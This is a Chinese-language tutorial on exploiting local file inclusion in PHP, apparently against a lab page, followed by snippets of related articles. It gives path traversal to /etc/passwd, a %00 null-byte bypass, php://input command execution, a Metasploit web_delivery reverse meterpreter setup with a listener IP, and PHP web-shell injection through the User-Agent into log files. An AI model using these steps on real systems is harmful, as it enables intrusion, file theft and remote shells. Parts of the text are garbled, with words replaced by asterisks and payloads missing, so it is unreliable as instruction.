本地檔案包含漏洞(LFI漏洞)

2022-05-30 14:18:11 字數 2390 閱讀 3049

開啟具有rfi和lfi漏洞的網頁。在下拉列表中選擇語言釋,單擊go按鈕時,所選的語言檔案將包含在url中。 執行基本攻擊操作。

在基本的lfi攻擊中,我們可以使用(../)或簡單地(/)從目錄中直接讀取檔案的內容,下面的截圖中在瀏覽器url中訪問密碼檔案。

在一些情況下,由於高安全級別,上面提到的基本本地檔案包含攻擊可能不工作。從下面的截圖可以觀察到,當在url中執行相同的路徑時,卻無法讀取密碼檔案。  所以當面對這樣的問題,可以進行null byte攻擊。

開啟burp suite捕獲瀏覽器請求,然後選擇**選項卡並開始擷取。 不要忘記在使用burp suite時設定瀏覽器**。

將攔截的資料傳送到repeater。

在repeater中做傳送的請求和響應生成的分析。從截圖可以清楚的看出/ etc / passwd不能讀取。

在下面的截圖中,通過在etc/passwd目錄的末尾新增空字元(%00)來**請求,然後單擊go選項卡。然後在視窗的右檢視上,密碼檔案作為響應開啟。

當安全級別高並且無法檢視php檔案內容時,使用以下php函式:

從以下截圖可以看到passwd檔案內容編碼為base64,複製整個編碼文字。

使用hackbar解碼複製的編碼文字。

將複製的編碼文字貼上到彈出的對話方塊內。

密碼檔案的內容:

使用php input函式,通過執行注入php**來利用lfi漏洞。首先,載入目標網頁url:

使用php input函式:

然後選中enable post data核取方塊,**提交的資料,並在給定文字區域中新增cmd命令

。如下圖所示,最後點選execute。

通過反向連線連線目標機器; 在kali linux中開啟終端輸入msfconsole啟動metasploit。

useexploit/multi/script/web_delivery

msf exploit (web_delivery)>settarget 1msf exploit (web_delivery)>setpayload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)>setlhost 192.168.0.104msf exploit (web_delivery)>setsrvport  8081msf exploit (web_delivery)>exploit

複製下圖中的高亮文字:

將上面複製的php**貼上到url中,如下圖所示,並執行它。

當上面的url被執行時,將metasploit中獲得目標的meterpreter會話。

msf exploit (web_delivery)>session –i 1meterpreter>sysinfo

如果服務超時,通過lfi利用它。可以包括儲存user_agent的proc/self/environ檔案,在檔案中插入用於執行cmd命令的php**。

啟動burp suite攔截瀏覽器請求,並將獲取資料傳送到repeater。

將cmd命令<?php system($_get[『cmd』]); ?>新增到user_agent內,並使用get引數192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id傳送請求。響應如下圖右側所示。

檔案包含漏洞之 本地檔案包含漏洞 LFI

定義 能夠讀取或執行包含本地檔案的漏洞,稱為本地檔案包含漏洞 源 原理 為了方便,include等函式裡放的不是乙個指定檔案,而是乙個接收檔案的變數,從而造成使用者可以控制引數file改變這個變數 當引數file 的值為乙個指定路徑的檔案時,此時變數就是此路徑,include函式就會執行此檔案,當檔...

LFI本地包含漏洞利用小技巧

0 00 題外話 嘿嘿 希望大家多多 技術。詳細 php 的include 函式存在設計缺陷,遠端攻擊者可以利用這個漏洞可能以web 許可權執行任意命令。php 的乙個設計錯誤,當uri 資料作為 include 函式的乙個引數時,攻擊者可以提交post php 命令來執行。此問題影響php 自身模...

漏洞之檔案包含漏洞

在專案中為了更好地使用 的重用性,引入了檔案包含函式,可以通過檔案包含函式將檔案包含進來,直接使用包含檔案的 完成類似python中的import功能。在包含檔案時候,為了靈活包含檔案,將被包含檔案設定為變數,通過動態變數來引入需要包含的檔案時,使用者可以對變數的值可控而伺服器端未對變數值進行合理地...